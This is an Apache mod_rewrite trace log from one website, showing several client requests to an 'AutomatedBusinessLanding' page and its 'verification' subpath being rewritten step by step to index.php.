[Mon Nov 10 18:36:34.491632 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac007be0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491632 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac007be0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491632 2025] [rewrite:trace4] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac007be0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491632 2025] [rewrite:trace4] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac007be0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491632 2025] [rewrite:trace4] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac007be0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491632 2025] [rewrite:trace2] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac007be0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491632 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac007be0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491632 2025] [rewrite:trace2] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac007be0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491632 2025] [rewrite:trace2] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac007be0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491632 2025] [rewrite:trace1] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac007be0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:22.224590 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c01f890/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224663 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c01f890/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224687 2025] [rewrite:trace4] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c01f890/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224711 2025] [rewrite:trace4] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c01f890/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224728 2025] [rewrite:trace4] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c01f890/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224738 2025] [rewrite:trace2] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c01f890/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224749 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c01f890/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224786 2025] [rewrite:trace2] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c01f890/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224790 2025] [rewrite:trace2] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c01f890/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224802 2025] [rewrite:trace1] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c01f890/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224955 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0c89d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224971 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0c89d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224980 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0c89d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.224992 2025] [rewrite:trace4] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0c89d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.225002 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0c89d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.225011 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0c89d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.225028 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0c89d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.225069 2025] [rewrite:trace4] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0c89d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.225069 2025] [rewrite:trace1] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0c89d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.227894 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0d5c80/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.227936 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0d5c80/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.228068 2025] [rewrite:trace4] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0d5c80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.228091 2025] [rewrite:trace4] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0d5c80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.228113 2025] [rewrite:trace4] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0d5c80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.228125 2025] [rewrite:trace2] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0d5c80/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.228135 2025] [rewrite:trace3] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0d5c80/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.228158 2025] [rewrite:trace2] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0d5c80/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.228169 2025] [rewrite:trace2] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0d5c80/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.228188 2025] [rewrite:trace1] [pid 8732:tid 8736] mod_rewrite.c(505): [client 37.114.50.142:37086] 37.114.50.142 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f750c0d5c80/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.398829 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7524017050/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.398885 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7524017050/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.398912 2025] [rewrite:trace4] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7524017050/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.398940 2025] [rewrite:trace4] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7524017050/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.398953 2025] [rewrite:trace4] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7524017050/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.398963 2025] [rewrite:trace2] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7524017050/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.398974 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7524017050/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.398986 2025] [rewrite:trace2] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7524017050/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.398998 2025] [rewrite:trace2] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7524017050/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399012 2025] [rewrite:trace1] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7524017050/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399128 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240c0198/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399144 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240c0198/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399154 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240c0198/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399166 2025] [rewrite:trace4] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240c0198/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399181 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240c0198/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399192 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240c0198/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399217 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240c0198/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399228 2025] [rewrite:trace4] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240c0198/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399243 2025] [rewrite:trace1] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240c0198/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399566 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240cd440/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399592 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240cd440/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399614 2025] [rewrite:trace4] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240cd440/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399630 2025] [rewrite:trace4] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240cd440/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399642 2025] [rewrite:trace4] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240cd440/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399652 2025] [rewrite:trace2] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240cd440/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399661 2025] [rewrite:trace3] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240cd440/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399671 2025] [rewrite:trace2] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240cd440/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399681 2025] [rewrite:trace2] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240cd440/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:22.399690 2025] [rewrite:trace1] [pid 8732:tid 8750] mod_rewrite.c(505): [client 45.137.99.182:48380] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75240cd440/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:37:24.494678 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0c7db0/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
